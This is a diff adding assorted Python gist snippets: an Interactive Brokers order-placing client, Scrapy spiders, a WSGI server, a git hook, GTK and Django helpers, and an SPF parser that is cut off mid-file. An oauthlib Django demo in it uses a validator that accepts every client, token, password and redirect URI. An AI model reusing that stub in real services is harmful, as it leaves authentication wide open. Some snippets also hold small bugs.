+        if getattr(self, '_my_orderid_data', None) is None:
+            ## getting an ID which we haven't asked for
+            ## this happens, IB server just sends this along occassionally
+            self.init_nextvalidid()
+
+        self._my_orderid_data.put(orderId)
+
+
+class TestClient(EClient):
+    """
+    The client method
+
+    We don't override native methods, but instead call them from our own wrappers
+    """
+    def __init__(self, wrapper):
+        ## Set up with a wrapper inside
+        EClient.__init__(self, wrapper)
+
+        self._market_data_q_dict = {}
+        self._commissions=list_of_execInformation()
+
+    def resolve_ib_contract(self, ibcontract, reqId=DEFAULT_GET_CONTRACT_ID):
+
+        """
+        From a partially formed contract, returns a fully fledged version
+
+        :returns fully resolved IB contract
+        """
+
+        ## Make a place to store the data we're going to return
+        contract_details_queue = finishableQueue(self.init_contractdetails(reqId))
+
+        print("Getting full contract details from the server... ")
+
+        self.reqContractDetails(reqId, ibcontract)
+
+        ## Run until we get a valid contract(s) or get bored waiting
+        MAX_WAIT_SECONDS = 10
+        new_contract_details = contract_details_queue.get(timeout = MAX_WAIT_SECONDS)
+
+        while self.wrapper.is_error():
+            print(self.get_error())
+
+        if contract_details_queue.timed_out():
+            print("Exceeded maximum wait for wrapper to confirm finished - seems to be normal behaviour")
+
+        if len(new_contract_details)==0:
+            print("Failed to get additional contract details: returning unresolved contract")
+            return ibcontract
+
+        if len(new_contract_details)>1:
+            print("got multiple contracts using first one")
+
+        new_contract_details=new_contract_details[0]
+
+        resolved_ibcontract=new_contract_details.summary
+
+        return resolved_ibcontract
+
+
+    def get_next_brokerorderid(self):
+        """
+        Get next broker order id
+
+        :return: broker order id, int; or TIME_OUT if unavailable
+        """
+
+        ## Make a place to store the data we're going to return
+        orderid_q = self.init_nextvalidid()
+
+        self.reqIds(-1) # -1 is irrelevant apparently (see IB API docs)
+
+        ## Run until we get a valid contract(s) or get bored waiting
+        MAX_WAIT_SECONDS = 10
+        try:
+            brokerorderid = orderid_q.get(timeout=MAX_WAIT_SECONDS)
+        except queue.Empty:
+            print("Wrapper timeout waiting for broker orderid")
+            brokerorderid = TIME_OUT
+
+        while self.wrapper.is_error():
+            print(self.get_error(timeout=MAX_WAIT_SECONDS))
+
+        return brokerorderid
+
+
+    def place_new_IB_order(self, ibcontract, order, orderid=None):
+        """
+        Places an order
+
+        Returns brokerorderid
+
+        """
+
+        ## We can eithier supply our own ID or ask IB to give us the next valid one
+        if orderid is None:
+            print("Getting orderid from IB")
+            orderid = self.get_next_brokerorderid()
+
+            if orderid is TIME_OUT:
+                raise Exception("I couldn't get an orderid from IB, and you didn't provide an orderid")
+
+        print("Using order id of %d" % orderid)
+
+        ## Note: It's possible if you have multiple traidng instances for orderids to be submitted out of sequence
+        ##   in which case IB will break
+
+        # Place the order
+        self.placeOrder(
+            orderid,  # orderId,
+            ibcontract,  # contract,
+            order  # order
+        )
+
+        return orderid
+
+
+    def any_open_orders(self):
+        """
+        Simple wrapper to tell us if we have any open orders
+        """
+
+        return len(self.get_open_orders()) > 0
+
+
+    def get_open_orders(self):
+        """
+        Returns a list of any open orders
+        """
+
+        ## store the orders somewhere
+        open_orders_queue = finishableQueue(self.init_open_orders())
+
+        ## You may prefer to use reqOpenOrders() which only retrieves orders for this client
+        self.reqAllOpenOrders()
+
+        ## Run until we get a terimination or get bored waiting
+        MAX_WAIT_SECONDS = 5
+        open_orders_list = list_of_orderInformation(open_orders_queue.get(timeout = MAX_WAIT_SECONDS))
+
+        while self.wrapper.is_error():
+            print(self.get_error())
+
+        if open_orders_queue.timed_out():
+            print("Exceeded maximum wait for wrapper to confirm finished whilst getting orders")
+
+        ## open orders queue will be a jumble of order details, turn into a tidy dict with no duplicates
+        open_orders_dict = open_orders_list.merged_dict()
+
+        return open_orders_dict
+
+
+    def get_executions_and_commissions(self, reqId=DEFAULT_EXEC_TICKER, execution_filter = ExecutionFilter()):
+        """
+        Returns a list of all executions done today with commission data
+        """
+
+        ## store somewhere
+        execution_queue = finishableQueue(self.init_requested_execution_data(reqId))
+
+        ## We can change ExecutionFilter to subset different orders
+        ## note this will also pull in commissions but we would use get_executions_with_commissions
+        self.reqExecutions(reqId, execution_filter)
+
+        ## Run until we get a terimination or get bored waiting
+        MAX_WAIT_SECONDS = 10
+        exec_list = list_of_execInformation(execution_queue.get(timeout = MAX_WAIT_SECONDS))
+
+        while self.wrapper.is_error():
+            print(self.get_error())
+
+        if execution_queue.timed_out():
+            print("Exceeded maximum wait for wrapper to confirm finished whilst getting exec / commissions")
+
+        ## Commissions will arrive seperately. We get all of them, but will only use those relevant for us
+        commissions = self._all_commissions()
+
+        ## glue them together, create a dict, remove duplicates
+        all_data = exec_list.blended_dict(commissions)
+
+        return all_data
+
+
+    def _recent_fills(self):
+        """
+        Returns any fills since we last called recent_fills
+
+        :return: list of executions as execInformation objects
+        """
+
+        ## we don't set up a queue but access the permanent one
+        fill_queue = self.access_executions_stream()
+
+        list_of_fills=list_of_execInformation()
+
+        while not fill_queue.empty():
+            MAX_WAIT_SECONDS = 5
+            try:
+                next_fill = fill_queue.get(timeout=MAX_WAIT_SECONDS)
+                list_of_fills.append(next_fill)
+            except queue.Empty:
+                ## corner case where Q emptied since we last checked if empty at top of while loop
+                pass
+
+        ## note this could include duplicates and is a list
+        return list_of_fills
+
+
+    def recent_fills_and_commissions(self):
+        """
+        Return recent fills, with commissions added in
+
+        :return: dict of execInformation objects, keys are execids
+        """
+
+        recent_fills = self._recent_fills()
+        commissions = self._all_commissions() ## we want all commissions
+
+        ## glue them together, create a dict, remove duplicates
+        all_data = recent_fills.blended_dict(commissions)
+
+        return all_data
+
+
+    def _recent_commissions(self):
+        """
+        Returns any commissions that are in the queue since we last checked
+
+        :return: list of commissions as execInformation objects
+        """
+
+        ## we don't set up a queue, as there is a permanent one
+        comm_queue = self.access_commission_stream()
+
+        list_of_comm=list_of_execInformation()
+
+        while not comm_queue.empty():
+            MAX_WAIT_SECONDS = 5
+            try:
+                next_comm = comm_queue.get(timeout=MAX_WAIT_SECONDS)
+                list_of_comm.append(next_comm)
+            except queue.Empty:
+                ## corner case where Q emptied since we last checked if empty at top of while loop
+                pass
+
+        ## note this could include duplicates and is a list
+        return list_of_comm
+
+
+    def _all_commissions(self):
+        """
+        Returns all commissions since we created this instance
+
+        :return: list of commissions as execInformation objects
+        """
+
+        original_commissions = self._commissions
+        latest_commissions = self._recent_commissions()
+
+        all_commissions = list_of_execInformation(original_commissions + latest_commissions)
+
+        self._commissions = all_commissions
+
+        # note this could include duplicates and is a list
+        return all_commissions
+
+
+    def cancel_order(self, orderid):
+
+        ## Has to be an order placed by this client. I don't check this here -
+        ## If you have multiple IDs then you you need to check this yourself.
+
+        self.cancelOrder(orderid)
+
+        ## Wait until order is cancelled
+        start_time=datetime.datetime.now()
+        MAX_WAIT_TIME_SECONDS = 10
+
+        finished = False
+
+        while not finished:
+            if orderid not in self.get_open_orders():
+                ## finally cancelled
+                finished = True
+
+            if (datetime.datetime.now() - start_time).seconds > MAX_WAIT_TIME_SECONDS:
+                print("Wrapper didn't come back with confirmation that order was cancelled!")
+                finished = True
+
+        ## return nothing
+
+    def cancel_all_orders(self):
+
+        ## Cancels all orders, from all client ids.
+        ## if you don't want to do this, then instead run .cancel_order over named IDs
+        app.reqGlobalCancel()
+
+        start_time=datetime.datetime.now()
+        MAX_WAIT_TIME_SECONDS = 10
+
+        finished = False
+
+        while not finished:
+            if not self.any_open_orders():
+                ## all orders finally cancelled
+                finished = True
+            if (datetime.datetime.now() - start_time).seconds > MAX_WAIT_TIME_SECONDS:
+                print("Wrapper didn't come back with confirmation that all orders were cancelled!")
+                finished = True
+
+        ## return nothing
+
+class TestApp(TestWrapper, TestClient):
+    def __init__(self, ipaddress, portid, clientid):
+        TestWrapper.__init__(self)
+        TestClient.__init__(self, wrapper=self)
+
+        self.connect(ipaddress, portid, clientid)
+
+        thread = Thread(target = self.run)
+        thread.start()
+
+        setattr(self, "_thread", thread)
+
+        self.init_error()
+
+
+if __name__ == '__main__':
+
+    app = TestApp("127.0.0.1", 4001, 1)
+
+    ## lets get prices for this
+    ibcontract = IBcontract()
+    ibcontract.secType = "FUT"
+    ibcontract.lastTradeDateOrContractMonth="201812"
+    ibcontract.symbol="GE"
+    ibcontract.exchange="GLOBEX"
+
+    ## resolve the contract
+    resolved_ibcontract = app.resolve_ib_contract(ibcontract)
+
+    order1=Order()
+    order1.action="BUY"
+    order1.orderType="MKT"
+    order1.totalQuantity=10
+    order1.transmit = True
+
+    orderid1 = app.place_new_IB_order(ibcontract, order1, orderid=None)
+
+    print("Placed market order, orderid is %d" % orderid1)
+
+    while app.any_open_orders():
+        ## Warning this will pause forever if fill doesn't come back
+        time.sleep(1)
+
+    ## Have a look at the fill
+    print("Recent fills")
+    filldetails = app.recent_fills_and_commissions()
+    print(filldetails)
+
+    ## when I call again should be empty as we've cleared the memory of recent fills
+    print("Recent fills (should be blank)")
+    morefilldetails = app.recent_fills_and_commissions()
+    print(morefilldetails)
+
+    ## but this won't be
+    print("Executions today")
+    execdetails = app.get_executions_and_commissions()
+    print(execdetails)
+
+    ## And here is a limit order, unlikely ever to be filled
+    ## Note limit price of 100
+
+    order2=Order()
+    order2.action="SELL"
+    order2.orderType="LMT"
+    order2.totalQuantity=12
+    order2.lmtPrice = 100.0
+    order2.tif = 'DAY'
+    order2.transmit = True
+
+
+    orderid2 = app.place_new_IB_order(ibcontract, order2, orderid=None)
+    print("Placed limit order, orderid is %d" % orderid2)
+
+    ## Short wait ...
+    time.sleep(5)
+
+    print("Open orders (should be one)")
+    open_orders = app.get_open_orders()
+    print(open_orders)
+
+    ## put in another limit order
+    order3=Order()
+    order3.action="BUY"
+    order3.orderType="LMT"
+    order3.totalQuantity=5
+    order3.lmtPrice = 10.0
+    order3.tif = 'DAY'
+    order3.transmit = True
+
+
+    orderid3 = app.place_new_IB_order(ibcontract, order3, orderid=None)
+    print("Placed limit order, orderid is %d" % orderid2)
+
+    print("Open orders (should be two)")
+    open_orders = app.get_open_orders()
+    print(open_orders.keys())
+
+    time.sleep(5)
+
+    ## modify the order
+
+    print("Modifying order %d" % orderid3)
+
+    order3.lmtPrice = 15.0
+
+    print("Limit price was %f will become %f" % (open_orders[orderid3].order.lmtPrice, order3.lmtPrice ))
+
+    app.place_new_IB_order(ibcontract, order3, orderid=orderid3)
+    time.sleep(5)
+    open_orders = app.get_open_orders()
+    print("New limit price %f " % open_orders[orderid3].order.lmtPrice)
+
+    ## Cancel a single limit order, leaving one active limit order (order3)
+    print("Cancel order %d " % orderid2)
+    app.cancel_order(orderid2)
+    open_orders = app.get_open_orders()
+
+    print("Open orders (should just be %d)" % orderid2)
+    print(open_orders.keys())
+
+    print("Cancelling all orders")
+    app.cancel_all_orders()
+
+    print("Any open orders? - should be False")
+    print(app.any_open_orders())
+
+    app.disconnect()
+
+
+
diff --git a/hard-gists/4451253/._snippet.py b/hard-gists/4451253/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4451253/._snippet.py differ
diff --git a/hard-gists/4451253/snippet.py b/hard-gists/4451253/snippet.py
new file mode 100644
index 00000000..ff0d99b4
--- /dev/null
+++ b/hard-gists/4451253/snippet.py
@@ -0,0 +1,141 @@
+from scrapy.spider import BaseSpider
+ 
+class MindhacksSpider(BaseSpider):
+    domain_name = "mindhacks.cn"
+    start_urls = ["http://mindhacks.cn/"]
+ 
+    def parse(self, response):
+        return []
+ 
+SPIDER = MindhacksSpider()
+#######################################################
+from scrapy.selector import HtmlXPathSelector
+from scrapy.spider import BaseSpider
+from scrapy.http import Request
+from myproject.items import MyItem
+
+class MySpider(BaseSpider):
+    name = 'example.com'
+    allowed_domains = ['example.com']
+    start_urls = [
+        'http://www.example.com/1.html',
+        'http://www.example.com/2.html',
+        'http://www.example.com/3.html',
+    ]
+
+    def parse(self, response):
+        hxs = HtmlXPathSelector(response)
+        for h3 in hxs.select('//h3').extract():
+            yield MyItem(title=h3)
+
+        for url in hxs.select('//a/@href').extract():
+            yield Request(url, callback=self.parse)
+            
+############################################################
+from scrapy.contrib.spiders import CrawlSpider, Rule
+from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
+from scrapy.selector import HtmlXPathSelector
+from scrapy.item import Item
+
+class MySpider(CrawlSpider):
+    name = 'example.com'
+    allowed_domains = ['example.com']
+    start_urls = ['http://www.example.com']
+
+    rules = (
+        # Extract links matching 'category.php' (but not matching 'subsection.php')
+        # and follow links from them (since no callback means follow=True by default).
+        Rule(SgmlLinkExtractor(allow=('category\.php', ), deny=('subsection\.php', ))),
+
+        # Extract links matching 'item.php' and parse them with the spider's method parse_item
+        Rule(SgmlLinkExtractor(allow=('item\.php', )), callback='parse_item'),
+    )
+
+    def parse_item(self, response):
+        self.log('Hi, this is an item page! %s' % response.url)
+
+        hxs = HtmlXPathSelector(response)
+        item = Item()
+        item['id'] = hxs.select('//td[@id="item_id"]/text()').re(r'ID: (\d+)')
+        item['name'] = hxs.select('//td[@id="item_name"]/text()').extract()
+        item['description'] = hxs.select('//td[@id="item_description"]/text()').extract()
+        return item
+        
+        
+################################################################################################
+from scrapy import log
+from scrapy.contrib.spiders import XMLFeedSpider
+from myproject.items import TestItem
+
+class MySpider(XMLFeedSpider):
+    name = 'example.com'
+    allowed_domains = ['example.com']
+    start_urls = ['http://www.example.com/feed.xml']
+    iterator = 'iternodes' # This is actually unnecesary, since it's the default value
+    itertag = 'item'
+
+    def parse_node(self, response, node):
+        log.msg('Hi, this is a <%s> node!: %s' % (self.itertag, ''.join(node.extract())))
+
+        item = Item()
+        item['id'] = node.select('@id').extract()
+        item['name'] = node.select('name').extract()
+        item['description'] = node.select('description').extract()
+        return item
+        
+#########################################################################
+from scrapy import log
+from scrapy.contrib.spiders import CSVFeedSpider
+from myproject.items import TestItem
+
+class MySpider(CSVFeedSpider):
+    name = 'example.com'
+    allowed_domains = ['example.com']
+    start_urls = ['http://www.example.com/feed.csv']
+    delimiter = ';'
+    headers = ['id', 'name', 'description']
+
+    def parse_row(self, response, row):
+        log.msg('Hi, this is a row!: %r' % row)
+
+        item = TestItem()
+        item['id'] = row['id']
+        item['name'] = row['name']
+        item['description'] = row['description']
+        return item
+        
+##########################################################################
+
+
+
+def parse(self, response):
+    items = []
+    hxs = HtmlXPathSelector(response)
+    posts = hxs.x('//h1/a/@href').extract()
+    items.extend([self.make_requests_from_url(url).replace(callback=self.parse_post)
+                  for url in posts])
+ 
+    page_links = hxs.x('//div[@class="wp-pagenavi"]/a[not(@title)]')
+    for link in page_links:
+        if link.x('text()').extract()[0] == u'\xbb':
+            url = link.x('@href').extract()[0]
+            items.append(self.make_requests_from_url(url))
+ 
+    return items
+    
+################################################################################
+
+def parse_post(self, response):
+    item = BlogCrawlItem()
+    item.url = unicode(response.url)
+    item.raw = response.body_as_unicode()
+    return [item]
+################################################################################
+class BlogCrawlItem(ScrapedItem):
+    def __init__(self):
+        ScrapedItem.__init__(self)
+        self.url = ''
+ 
+    def __str__(self):
+        return 'BlogCrawlItem(url: %s)' % self.url
+################################################################################
diff --git a/hard-gists/445785/._snippet.py b/hard-gists/445785/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/445785/._snippet.py differ
diff --git a/hard-gists/445785/snippet.py b/hard-gists/445785/snippet.py
new file mode 100644
index 00000000..cc86b72a
--- /dev/null
+++ b/hard-gists/445785/snippet.py
@@ -0,0 +1,23 @@
+#!/usr/bin/env python
+# coding: utf-8
+
+from gevent import monkey; monkey.patch_all()
+from gevent.wsgi import WSGIServer
+
+import os
+import logging
+log = logging.getLogger(__name__)
+
+from paste.deploy import loadapp
+
+
+PORT = 8088
+
+def main():
+    config_path = os.path.join(os.path.abspath(os.path.curdir), 'development.ini')
+    wsgi_app = loadapp('config:' + config_path)
+    log.info('Serving on %d...' % PORT)
+    WSGIServer(('', PORT), wsgi_app).serve_forever()
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/4461572/._snippet.py b/hard-gists/4461572/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4461572/._snippet.py differ
diff --git a/hard-gists/4461572/snippet.py b/hard-gists/4461572/snippet.py
new file mode 100644
index 00000000..469601f8
--- /dev/null
+++ b/hard-gists/4461572/snippet.py
@@ -0,0 +1,110 @@
+import json
+import re
+
+from django.http import HttpResponseRedirect, HttpResponse, HttpResponseForbidden, QueryDict
+from django.views.decorators.csrf import csrf_exempt
+
+from oauthlib.oauth2.draft25 import AuthorizationEndpoint, TokenEndpoint, ResourceEndpoint
+from oauthlib.oauth2.draft25.grant_types import RequestValidator, AuthorizationCodeGrant
+from oauthlib.oauth2.draft25.tokens import BearerToken
+
+
+class TestRequestValidator(RequestValidator):
+
+    def validate_client_id(self, client_id, *args, **kwargs):
+        return True
+
+    def validate_client(self, client_id, grant_type, client, *args, **kwargs):
+        return True
+
+    def validate_code(self, client_id, code, client, *args, **kwargs):
+        return True
+
+    def validate_bearer_token(self, token):
+        return True
+
+    def validate_refresh_token(self, refresh_token, client, *args, **kwargs):
+        return True
+
+    def authenticate_client(self, request, *args, **kwargs):
+        return True
+
+    def validate_scopes(self, client_id, scopes):
+        return True
+
+    def confirm_scopes(self, refresh_token, scopes):
+        return True
+
+    def validate_user(self, username, password, client=None):
+        return True
+
+    def validate_redirect_uri(self, client_id, redirect_uri):
+        return True
+
+    def confirm_redirect_uri(self, client_id, code, redirect_uri, client):
+        return True
+
+    def get_default_redirect_uri(self, client_id):
+        return None
+
+
+class TestAuthorizationCodeGrant(AuthorizationCodeGrant):
+
+    def save_authorization_code(self, client_id, grant):
+        pass
+
+class TestBearerToken(BearerToken):
+
+    def save_token(self, request, token):
+        pass
+
+
+authorization_code_grant = TestAuthorizationCodeGrant(TestRequestValidator())
+
+authorization_endpoint = AuthorizationEndpoint('code',
+                            response_types={'code': authorization_code_grant})
+
+default_token = TestBearerToken(TestRequestValidator())
+
+token_endpoint = TokenEndpoint('authorization_code_grant', default_token,
+                               {'authorization_code_grant': authorization_code_grant})
+
+resource_endpoint = ResourceEndpoint('Bearer', {'Bearer': default_token})
+
+
+def get_headers(request):
+    regex = re.compile('^HTTP_')
+    return dict((regex.sub('', header), value) for (header, value)
+                       in request.META.items() if header.startswith('HTTP_'))
+
+
+def authenticate(request):
+    headers = get_headers(request)
+    uri = '%s?%s' % (request.path, request.GET.urlencode())
+    response_data = authorization_endpoint.create_authorization_response(uri,
+                request.method, request.body, headers)
+
+    response = HttpResponseRedirect(response_data[0])
+    return response
+
+
+@csrf_exempt
+def token(request):
+    headers = get_headers(request)
+    uri = '%s?%s' % (request.path, request.GET.urlencode())
+
+    response_data = token_endpoint.create_token_response(uri,
+                request.method, request.body, headers)
+
+    response = HttpResponse(response_data[2], status=response_data[3])
+    return response
+
+
+def api(request, *args, **kwargs):
+    headers = get_headers(request)
+    uri = '%s?%s' % (request.path, request.GET.urlencode())
+    if not resource_endpoint.verify_request(uri, request.method, request.body, headers):
+        return HttpResponseForbidden('Invalid access_token')
+    return HttpResponse(json.dumps(dict(id=1,
+                                        name="Someone",
+                                        friends=["Somebody", "Nobody"])))
\ No newline at end of file
diff --git a/hard-gists/4461862/._snippet.py b/hard-gists/4461862/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4461862/._snippet.py differ
diff --git a/hard-gists/4461862/snippet.py b/hard-gists/4461862/snippet.py
new file mode 100644
index 00000000..f6238ad8
--- /dev/null
+++ b/hard-gists/4461862/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+# requirements: GitPython
+# version 0.1
+
+import git
+import os
+import sys
+
+
+def get_branch():
+    """
+    Get current branch with GitPython
+    """
+    path = os.getcwd()
+    repo = git.Repo(path)
+    return repo.head.reference.name
+
+
+def prepare_commit_msg():
+    """
+    - Prepend "<branch name>, "
+    """
+    branch = get_branch()
+    msg = "{0}, ".format(branch.lower().capitalize())
+    # for prepare-commit-msg the second parameter
+    # is the path to commit message
+    path = sys.argv[1]
+    try:
+        with open(path, 'w') as f:
+            content = f.read()
+            f.write("{0}{1}".format(msg, content))
+    except:
+        pass
+
+if __name__ == '__main__':
+    prepare_commit_msg()
\ No newline at end of file
diff --git a/hard-gists/4463278/._snippet.py b/hard-gists/4463278/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4463278/._snippet.py differ
diff --git a/hard-gists/4463278/snippet.py b/hard-gists/4463278/snippet.py
new file mode 100644
index 00000000..ea58c1ec
--- /dev/null
+++ b/hard-gists/4463278/snippet.py
@@ -0,0 +1,115 @@
+#!/usr/bin/env python3
+
+# This script demonstrates a custom TreeModel (known as
+# GenericTreeModel in PyGtk 2).
+#
+# Note: This script requires python-gi (pygobject) >= 3.4.
+
+from gi.repository import GObject, Gtk
+
+
+class CustomTreeModel(GObject.GObject, Gtk.TreeModel):
+
+    def __init__(self, data):
+        self.data = data
+        self._num_rows = len(self.data)
+        if self.data:
+            self._n_columns = len(self.data[0])
+        else:
+            self._n_columns = 0
+        GObject.GObject.__init__(self)
+
+    def do_get_iter(self, path):
+        """Returns a new TreeIter that points at path.
+
+        The implementation returns a 2-tuple (bool, TreeIter|None).
+        """
+        indices = path.get_indices()
+        if indices[0] < self._num_rows:
+            iter_ = Gtk.TreeIter()
+            iter_.user_data = indices[0]
+            return (True, iter_)
+        else:
+            return (False, None)
+
+    def do_iter_next(self, iter_):
+        """Returns an iter pointing to the next column or None.
+
+        The implementation returns a 2-tuple (bool, TreeIter|None).
+        """
+        if iter_.user_data is None and self._num_rows != 0:
+            iter_.user_data = 0
+            return (True, iter_)
+        elif iter_.user_data < self._num_rows - 1:
+            iter_.user_data += 1
+            return (True, iter_)
+        else:
+            return (False, None)
+
+    def do_iter_has_child(self, iter_):
+        """True if iter has children."""
+        return False
+
+    def do_iter_nth_child(self, iter_, n):
+        """Return iter that is set to the nth child of iter."""
+        # We've got a flat list here, so iter_ is always None and the
+        # nth child is the row.
+        iter_ = Gtk.TreeIter()
+        iter_.user_data = n
+        return (True, iter_)
+
+    def do_get_path(self, iter_):
+        """Returns tree path references by iter."""
+        if iter_.user_data is not None:
+            path = Gtk.TreePath((iter_.user_data,))
+            return path
+        else:
+            return None
+
+    def do_get_value(self, iter_, column):
+        """Returns the value for iter and column."""
+        return str(self.data[iter_.user_data][column])
+
+    def do_get_n_columns(self):
+        """Returns the number of columns."""
+        return self._n_columns
+
+    def do_get_column_type(self, column):
+        """Returns the type of the column."""
+        # Here we only have strings.
+        return str
+
+    def do_get_flags(self):
+        """Returns the flags supported by this interface."""
+        return Gtk.TreeModelFlags.ITERS_PERSIST
+
+
+if __name__ == '__main__':
+    import sys, random
+
+    # Create dummy data (a list of 2-tuples: id, name)
+    names = ['Alice', 'Bob', 'Carol', 'Dave']
+    n_rows = 1000
+    data = [(str(i), random.choice(names)) for i in range(n_rows)]
+
+    # Create the custom tree model with this data
+    model = CustomTreeModel(data)
+
+    # Create a window
+    win = Gtk.Window()
+    win.connect('destroy', lambda *a: Gtk.main_quit())
+
+    # Setup TreeView
+    view = Gtk.TreeView()
+    view.set_model(model)
+    view.append_column(Gtk.TreeViewColumn('#', Gtk.CellRendererText(), text=0))
+    view.append_column(Gtk.TreeViewColumn('Name', Gtk.CellRendererText(), text=1))
+
+    # Put it in a ScrolledWindow and show it
+    sw = Gtk.ScrolledWindow()
+    sw.add(view)
+    win.add(sw)
+    win.resize(500, 500)
+    win.show_all()
+    Gtk.main()
+  
\ No newline at end of file
diff --git a/hard-gists/4463756/._snippet.py b/hard-gists/4463756/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4463756/._snippet.py differ
diff --git a/hard-gists/4463756/snippet.py b/hard-gists/4463756/snippet.py
new file mode 100644
index 00000000..ca2862e3
--- /dev/null
+++ b/hard-gists/4463756/snippet.py
@@ -0,0 +1,20 @@
+from functools import wraps
+from django.dispatch import Signal
+
+
+class BetterSignal(Signal):
+    def connect(self, receiver=None, **kwargs):
+        """
+        Support decorator syntax:
+
+        >>> @signal.connect(sender=type)
+        >>> def my_receiver(**kwargs):
+        >>>     pass
+
+        """
+        def wrapped(func):
+            return super(BetterSignal, self).connect(func, **kwargs)
+
+        if receiver is None:
+            return wrapped
+        return wraps(receiver)(wrapped(receiver))
\ No newline at end of file
diff --git a/hard-gists/446bcbe699d4fb54972f/._snippet.py b/hard-gists/446bcbe699d4fb54972f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/446bcbe699d4fb54972f/._snippet.py differ
diff --git a/hard-gists/446bcbe699d4fb54972f/snippet.py b/hard-gists/446bcbe699d4fb54972f/snippet.py
new file mode 100644
index 00000000..9d61c596
--- /dev/null
+++ b/hard-gists/446bcbe699d4fb54972f/snippet.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import argparse
+import json
+from pyOSC import OSC
+from SimpleWebSocketServer import WebSocket, SimpleWebSocketServer
+
+
+# arguments
+parser = argparse.ArgumentParser(description='Websocket to OSC bridge')
+parser.add_argument('websocket',
+                    type=int,
+                    nargs='?',
+                    default=7776,
+                    help='The port for WebSocket')
+
+parser.add_argument('osc',
+                    type=int,
+                    nargs='?',
+                    default=7777,
+                    help='The port for OSC')
+
+
+class OscBridge(WebSocket):
+    ''' Websocket to OSC bridge '''
+
+    def __init__(self, server, sock, address):
+        super(OscBridge, self).__init__(server, sock, address)
+
+        args = parser.parse_args()
+        self.oscClient = OSC.OSCClient()
+        self.oscClient.connect(('127.0.0.1', args.osc))
+
+    def parseMsg(self, address, msg):
+        messages = []
+        if isinstance(msg, dict):
+            [messages.extend(self.parseMsg(address + '/' + k, v))
+             for k, v in msg.items()]
+
+        elif isinstance(msg, list):
+            if isinstance(msg[0], dict) or isinstance(msg[0], list):
+                [messages.extend(self.parseMsg(address, m)) for m in msg]
+            else:
+                messages.append(self.createOsc(address, msg))
+        else:
+            messages.append(self.createOsc(address, [msg]))
+        return messages
+
+    def createOsc(self, address, params):
+        msg = OSC.OSCMessage(address)
+        [msg.append(param) for param in params]
+        return msg
+
+    def handleMessage(self):
+        msg = json.loads(self.data)
+
+        oscMsgs = []
+        [oscMsgs.extend(self.parseMsg('/' + address, msg))
+         for address, msg in msg.items()]
+
+        bundle = OSC.OSCBundle()
+        [bundle.append(osc) for osc in oscMsgs]
+        self.oscClient.send(bundle)
+        print(oscMsgs)
+
+    def handleConnected(self):
+        print self.address, 'connected'
+
+    def handleClose(self):
+        print self.address, 'closed'
+
+
+if __name__ == '__main__':
+    args = parser.parse_args()
+
+    server = SimpleWebSocketServer('', args.websocket, OscBridge)
+    server.serveforever()
diff --git a/hard-gists/4470212/._snippet.py b/hard-gists/4470212/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4470212/._snippet.py differ
diff --git a/hard-gists/4470212/snippet.py b/hard-gists/4470212/snippet.py
new file mode 100644
index 00000000..43b268e3
--- /dev/null
+++ b/hard-gists/4470212/snippet.py
@@ -0,0 +1,45 @@
+import inspect
+from pickle import loads, dumps
+from IPython.utils import pickleutil
+
+
+def class_dumps(cls):
+    canned_dict = pickleutil.canDict(
+        dict((k, v) for k, v in cls.__dict__.items()
+             if k not in ('__weakref__', '__dict__')))
+    parents = tuple(cls.mro())
+    # TODO: recursively call class_dumps on parents that can from the same
+    # module as the module of cls
+    return dumps((cls.__name__, parents, canned_dict))
+
+
+def class_loads(cls_str):
+    name, parents, canned_dict  = loads(cls_str)
+    return type(name, parents, pickleutil.uncanDict(canned_dict))
+
+
+# Let's define some classes to copy and %paste into an interactive ipython
+# session:
+"""
+
+class AClass(object):
+
+    def __init__(self, a):
+        self.a = a
+
+    def a_method(self, b):
+        return self.a + b
+
+
+class BClass(AClass):
+
+    def b_method(self, b):
+        return self.a_method(b) * 2
+
+
+AClassClone = class_loads(class_dumps(AClass))
+BClassClone = class_loads(class_dumps(BClass))
+b = BClassClone(3)
+b.b_method(4)
+
+"""
diff --git a/hard-gists/4471462/._snippet.py b/hard-gists/4471462/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4471462/._snippet.py differ
diff --git a/hard-gists/4471462/snippet.py b/hard-gists/4471462/snippet.py
new file mode 100644
index 00000000..a1f94bf8
--- /dev/null
+++ b/hard-gists/4471462/snippet.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+#
+# Author: Fred C.
+# Email:
+#
+from __future__ import print_function
+from collections import defaultdict
+
+import sys
+import DNS
+import re
+
+RE_PARSE = re.compile(r'(ip4|ip6|include|redirect)[:=](.*)', re.IGNORECASE)
+MAX_RECURSION = 5
+
+def dns_txt(domain):
+  try:
+    resp = DNS.dnslookup(domain, 'TXT')
+  except DNS.ServerError as err:
+    print(err, file=sys.stderr)
+    return None
+
+  response = []
+  for r in resp:
+    response.append(''.join(r))
+  return response
+
+def dns_parse(txt_field):
+  resp = defaultdict(set)
+  for rec in txt_field:
+    fields = rec.split()
+    for field in fields:
+      match = RE_PARSE.match(field)
+      if match:
+        resp[match.group(1)].add(match.group(2))
+
+  return resp
+
+def process(domain):
+  domains = [domain]
+  ip_addresses = set()
+  for cnt in range(MAX_RECURSION):
+    includes = set()
+    for dom in domains:
+      txt = dns_txt(dom)
+      if not txt:
+        continue
+      spf = dns_parse(txt)
+      ip_addresses |= spf.get('ip4', set())
+      ip_addresses |= spf.get('ip6', set())
+      includes |= spf.get('include', set())
+      includes |= spf.get('redirect', set())
+    if not includes:
+      break
+    domains = includes
+  return ip_addresses
+
+if __name__ == '__main__':
+  whitelist = set()
+  with open(sys.argv[1]) as fd:
